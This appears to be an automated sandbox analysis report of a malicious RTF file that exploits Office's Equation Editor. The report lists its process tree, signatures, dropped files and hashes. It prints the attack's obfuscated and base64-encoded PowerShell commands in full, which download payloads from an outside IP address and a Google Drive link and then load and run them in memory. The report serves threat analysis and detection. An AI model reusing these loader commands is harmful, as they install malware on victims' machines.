Analysis

  • max time kernel
    117s
  • max time network
    117s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    27-10-2024 12:48

General

  • Target

    weseeingthebestthingswithentirethinsgshoudbegood_______everythingveryfineforgreatthignstobeintheline.rtf

  • Size

    107KB

  • MD5

    86157210cf13494bbeb9d4808652a687

  • SHA1

    76accace803a0268674ccf47bf316b7cfb11b49f

  • SHA256

    ba2a2df52cd4c726184d39828a4a4f91ee521c291341b390f3c2647732d6714c

  • SHA512

    718e06631d33bad1033fed7878471a1ea21db5d5bf14e2730407d807e7ff07b1b078f8adf89083a31b32a6e16883bcf6c01561e39c7246f943d5ee897a8af6e7

  • SSDEEP

    768:3dGKS4gI3wTHfrwJDJB8C6CpojhM2D0G1p8Q:3dGKS4/f978zCClM40LQ

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

exe.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

Signatures

  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Evasion via Device Credential Deployment 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Drops file in System32 directory 4 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Launches Equation Editor 1 TTPs 1 IoCs

    Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\weseeingthebestthingswithentirethinsgshoudbegood_______everythingveryfineforgreatthignstobeintheline.rtf"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3008
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2688
    • C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
      "C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
      1⤵
      • Blocklisted process makes network request
      • System Location Discovery: System Language Discovery
      • Launches Equation Editor
      • Suspicious use of WriteProcessMemory
      PID:2380
      • C:\Windows\SysWOW64\mshta.exe
        "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\seemeherewithgreatthingsentiretimewith.hta"
        2⤵
        • System Location Discovery: System Language Discovery
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:2820
        • C:\Windows\SysWOW64\WindOwspowERshell\V1.0\pOwerSHELl.EXe
          "C:\Windows\syStEM32\WindOwspowERshell\V1.0\pOwerSHELl.EXe" "poWErSheLl -EX bypaSS -NOP -w 1 -c DEVIcEcReDenTiaLdEploymeNT ; iEx($(Iex('[sySteM.teXT.EnCoDiNG]'+[cHAR]58+[chAR]58+'UTF8.gEtStRing([System.CONVErT]'+[char]58+[cHaR]58+'FRombaSE64sTrIng('+[cHAR]34+'JHRmICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRELVR5cGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lbUJlUkRFZmlOSVRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5kTEwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJOVVosc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBZWFhwTEhvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBuWVAsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBGbmosSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRldEZiZik7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZUoiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lc1BhY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdUNQRERXa1Zpd2EgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGY6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly84NS4yMTUuMjA2LjgyLzM4MC9zZWV0aGViZXN0dGhpbmdzd2l0aGdyZWF0aGFwcGluZXNzd2l0aG1lLnRJRiIsIiRlblY6QVBQREFUQVxzZWV0aGViZXN0dGhpbmdzd2l0aGdyZWF0aGFwcGluZXNzd2l0LnZiUyIsMCwwKTtzdEFSdC1TTGVFcCgzKTtTVEFydCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOdjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3N3aXRoZ3JlYXRoYXBwaW5lc3N3aXQudmJTIg=='+[chAR]0X22+'))')))"
          3⤵
          • Blocklisted process makes network request
          • Evasion via Device Credential Deployment
          • Drops file in System32 directory
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2628
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX bypaSS -NOP -w 1 -c DEVIcEcReDenTiaLdEploymeNT
            4⤵
            • Evasion via Device Credential Deployment
            • Drops file in System32 directory
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2664
          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
            "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2kasposr.cmdline"
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:1432
            • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
              C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC582.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCC581.tmp"
              5⤵
              • System Location Discovery: System Language Discovery
              PID:1140
          • C:\Windows\SysWOW64\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\seethebestthingswithgreathappinesswit.vbS"
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:620
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'aUVYKCAoKCdSdUNpbWFnZVVybCA9IHFhZGh0dHBzOi8nKycvZHJpdmUuZ29vZ2xlLmMnKydvbS91Yz9leHBvJysncnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRHZVaEJZd3VyIHFhJysnZDtSdUN3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O1J1Q2ltYScrJ2dlQnl0ZXMgPSBSdUN3ZWJDbGllbnQuRG93bmxvYWREYXRhKFJ1Q2ltYWdlVXJsKTtSdUNpbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmcnKyddOjpVVEY4LkdldFN0cmluZyhSdUNpbWFnZUJ5dGVzKTtSdUNzdGFydEZsYWcgPSBxYWQ8PEJBU0U2NF9TVEEnKydSVD4+cWFkO1J1Q2VuZEZsYWcgPSBxYWQ8PEJBU0U2NF9FTkQ+PicrJ3FhZDtSdUNzdGFydEluZGV4ID0gUnVDaW1hZ2VUZXh0LkluZGV4T2YoUnVDc3RhcicrJ3RGbGFnKTtSdUNlbmRJbmRlJysneCA9IFJ1Q2ltYWdlVGV4dC5JbmRleE9mKFJ1Q2VuZEZsYWcpO1J1Q3N0YXJ0SW5kZXggLWdlIDAgJysnLWFuZCBSdUNlbmRJbmRleCAtZ3QgUnVDc3RhcnRJbmRleDtSdUNzdGFydEluZGV4ICs9IFJ1Q3N0YXJ0RmxhZy5MZW5ndGg7UnVDYmFzZTY0TGVuZ3RoID0gUnVDZW5kSW5kZXggLSBSdUNzdGFydEluZGV4O1J1Q2Jhc2U2NENvbW1hbmQgPSBSdUNpbWFnZVRleHQuU3Vic3RyaW5nKFJ1Q3N0YXJ0SW5kZXgsIFJ1Q2Jhc2U2NExlbmd0aCk7UnVDYmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoUnVDYmFzZTY0Q29tJysnbWFuZC5Ub0NoYXJBcnJheSgpIExtbCBGb3JFYWNoLU9iamVjdCB7IFJ1Q18gfSlbLTEuLi0oUnVDYmFzZTY0QycrJ29tbWFuZC5MZW5ndGgpXTtSJysndUNjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOicrJzpGcm9tQmFzZTY0U3RyaScrJ25nKFJ1JysnQ2Jhc2U2NFJldmVyc2VkKTtSdUNsbycrJ2EnKydkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoUnVDY29tbWFuZEJ5dGVzKTtSdUN2YScrJ2lNZXRob2QgPSBbZG5saWIuSU8uSG9tJysnZV0nKycuR2V0TWV0aG9kKHFhZFZBSXFhZCk7UnVDdmFpTWV0aG9kLkludm9rZShSdUNudWxsLCBAKHFhZHR4dC5DVkZEUlJXLzA4My8yOC42MDIuNTEyLjU4Ly86cHR0aHFhZCwgcWFkZGVzYXRpdmFkb3FhZCwgcWFkZGVzYXRpdmFkb3FhZCwgcWFkZGVzYXRpdmFkb3FhZCwgcWFkQ2FzUG9scWFkLCBxYWRkZXNhdGl2YWRvcWFkLCBxYWRkZXNhdGl2JysnYWRvcWFkLHFhZGRlc2F0aXZhZG9xYScrJ2QscWFkZGVzYXRpdmFkb3FhZCxxYWRkZXNhdGl2YWRvcWFkLHFhZGRlc2F0aXZhZG9xYWQscWFkZGVzYXQnKydpdmFkb3FhZCxxYWQxcWFkLHFhZGRlc2F0aXZhZG9xYWQpKTsnKSAgLVJlUGxhQ2UgJ0xtbCcsW2NoYXJdMTI0ICAtQ1JFUExhY0UoW2NoYXJdMTEzK1tjaGFyXTk3K1tjaGFyXTEwMCksW2NoYXJdMzktQ1JFUExhY0UoW2NoYXJdODIrW2NoYXJdMTE3K1tjaGFyXTY3KSxbY2hhcl0zNikp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
              5⤵
              • Command and Scripting Interpreter: PowerShell
              • Drops file in System32 directory
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:1104
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "iEX( (('RuCimageUrl = qadhttps:/'+'/drive.google.c'+'om/uc?expo'+'rt=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur qa'+'d;RuCwebClient = New-Object System.Net.WebClient;RuCima'+'geBytes = RuCwebClient.DownloadData(RuCimageUrl);RuCimageText = [System.Text.Encoding'+']::UTF8.GetString(RuCimageBytes);RuCstartFlag = qad<<BASE64_STA'+'RT>>qad;RuCendFlag = qad<<BASE64_END>>'+'qad;RuCstartIndex = RuCimageText.IndexOf(RuCstar'+'tFlag);RuCendInde'+'x = RuCimageText.IndexOf(RuCendFlag);RuCstartIndex -ge 0 '+'-and RuCendIndex -gt RuCstartIndex;RuCstartIndex += RuCstartFlag.Length;RuCbase64Length = RuCendIndex - RuCstartIndex;RuCbase64Command = RuCimageText.Substring(RuCstartIndex, RuCbase64Length);RuCbase64Reversed = -join (RuCbase64Com'+'mand.ToCharArray() Lml ForEach-Object { RuC_ })[-1..-(RuCbase64C'+'ommand.Length)];R'+'uCcommandBytes = [System.Convert]:'+':FromBase64Stri'+'ng(Ru'+'Cbase64Reversed);RuClo'+'a'+'dedAssembly = [System.Reflection.Assembly]::Load(RuCcommandBytes);RuCva'+'iMethod = [dnlib.IO.Hom'+'e]'+'.GetMethod(qadVAIqad);RuCvaiMethod.Invoke(RuCnull, @(qadtxt.CVFDRRW/083/28.602.512.58//:ptthqad, qaddesativadoqad, qaddesativadoqad, qaddesativadoqad, qadCasPolqad, qaddesativadoqad, qaddesativ'+'adoqad,qaddesativadoqa'+'d,qaddesativadoqad,qaddesativadoqad,qaddesativadoqad,qaddesat'+'ivadoqad,qad1qad,qaddesativadoqad));') -RePlaCe 'Lml',[char]124 -CREPLacE([char]113+[char]97+[char]100),[char]39-CREPLacE([char]82+[char]117+[char]67),[char]36))"
                6⤵
                • Blocklisted process makes network request
                • Command and Scripting Interpreter: PowerShell
                • Drops file in System32 directory
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:2916

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\ProgramData\seemeherewithgreatthingsentiretimewith.hta

      Filesize

      130KB

      MD5

      b85260924fba0846c8b7c5a097a95609

      SHA1

      911e67583068cf720cc7b6548c2ac11a7bbfb1a2

      SHA256

      30e23614597083e75d18692843858ef0a7fb7bd63d028e728616d4dd45169c3f

      SHA512

      a60163b64564fd14c39213e895c89f1126f4ac1a4fc4c1fa442012e16eedb8778047e95b91a8090e74d6683269757626472d2a1a652faf2d4923887f5504ef04

    • C:\Users\Admin\AppData\Local\Temp\2kasposr.dll

      Filesize

      3KB

      MD5

      540592b2059269a07872c8d3c0599501

      SHA1

      ca82ecf53380dba05f7af2643c3ff5c0ceb028b3

      SHA256

      3a083cf97e52bdfcee808965c9beb2fa31af3c27e9c0da77ce5c73eefc475489

      SHA512

      507716a9064b4bd28055e27e143db7ebce4c210654877d1c1dd10f82633ae7c228fea751fddafd403654bf480a910764e4b726725140ac19c901ad16dd021d24

    • C:\Users\Admin\AppData\Local\Temp\2kasposr.pdb

      Filesize

      7KB

      MD5

      619e9fde7fcdc3cba736b13154415efe

      SHA1

      1667552ecefd8d8fb9d86ef2faa215802c469242

      SHA256

      b12c8e187fb9c80e903db9d4a76a1062f2c4aa31ed5e0728d943cf377a87b00c

      SHA512

      e0a7927d748640479001021a2da588916e4a393a405c32174ec3201af2fce09d7f2f0e5aa88c2e68079e5e3cca4b420f4e60b7a8242d24509ee885172b17f0ba

    • C:\Users\Admin\AppData\Local\Temp\RESC582.tmp

      Filesize

      1KB

      MD5

      495687a6db87f9aa14b434c05e36cb3f

      SHA1

      294269be8d82291c105b95670faa356792ecb249

      SHA256

      fad44f769d70c3e4acc9fae6daa49586283e5aecdf509405ab592a73e002062b

      SHA512

      be3dcd7d5e169e0c9752b83835f7d4b55b73b13ac92b9043d367f42b82a8c76d7ce9405b643dace9bf3b77ce14089ea79870cd70a3f6d14c0694c86982b7af84

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

      Filesize

      7KB

      MD5

      a2f49fcb9c7ca3d46ee1aa2271b606d0

      SHA1

      55a6a403d9a8c88979bde9f4705e050c55e868d7

      SHA256

      d15f09970a901e5bde4a961e90792e89fdc0b11af1d2a1eb718c3030431b398c

      SHA512

      fdc4c5325657c99d32fb0a65a9b5783b34d86d41d870ffb1931fc32204b274a3193e2c80d9d3c8d76d5c80bb4ddc3c20b5bc534f717276e7f6a91f3e500c53cf

    • C:\Users\Admin\AppData\Roaming\seethebestthingswithgreathappinesswit.vbS

      Filesize

      137KB

      MD5

      943769c1661d4e66fb570fc18be9a171

      SHA1

      0204c63f393b0a5fb3467816a08f6006c54b19c1

      SHA256

      cb21f3d02a6dd6dd9e79081ff50a9c36cb6f9266b3f2e47417a919694e0b1545

      SHA512

      4fe2047f5808fdaf8df6d196b0dea50a2d0431e8ce6421ae399d06046e7d394df68056b1ffff0d5c940d8f00320b154ef3ffddd3be91c3671b031ff71bc86c2f

    • \??\c:\Users\Admin\AppData\Local\Temp\2kasposr.0.cs

      Filesize

      462B

      MD5

      b31b2127406ec8062b42f6cfaeeba531

      SHA1

      1d117bf0fb1fc24f57f341d6acd95154a47298b2

      SHA256

      8545b19637a099a1147203c681c7b8b049da6021259c3fba765d1412f0fc3dba

      SHA512

      1238e4d22fb2411c8bfe27164e93ca5038a704365dbdea70983867ff8a54c46597e9e7e2262f3d7b349132d0cf1991790e30d4948903454eb803a6820435bfed

    • \??\c:\Users\Admin\AppData\Local\Temp\2kasposr.cmdline

      Filesize

      309B

      MD5

      9de7bd0ac417692e24a38072137c582e

      SHA1

      8d9e89b3e95d68cc9a81e0f49dc937cd4abee583

      SHA256

      52c1a3c7cdb4ffbb0f02f9ff9be88e158ebde71d07abccf1c96de23eb4d85c31

      SHA512

      c95d52ff93fb493d39c476609992c2842321c76ad89317fa7437e3ed774aed9fc7cd2670ae7fc0bff3c044696da8abe50c1661dafd245c75a4e84f0cdfb58782

    • \??\c:\Users\Admin\AppData\Local\Temp\CSCC581.tmp

      Filesize

      652B

      MD5

      8ca36f118c4e3fc0909eceae2ce1e7f0

      SHA1

      c54c9bf8d523f880a6d490bf8cd79c40d54abd85

      SHA256

      e4f8eeca79d7f97d551937942d0b19abd4199cacc516206af5618f96fee74526

      SHA512

      6eda50632ce3722e9fdfe0c7ea5a49530ab5f7ac28771feb63de7e94d0491cbea39ed657e59993824540e5edd36d336b43f8fe6c2b2cb55beb09f78f1e2d10af

    • memory/3008-2-0x00000000712FD000-0x0000000071308000-memory.dmp

      Filesize

      44KB

    • memory/3008-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/3008-0-0x000000002FF81000-0x000000002FF82000-memory.dmp

      Filesize

      4KB

    • memory/3008-55-0x00000000712FD000-0x0000000071308000-memory.dmp

      Filesize

      44KB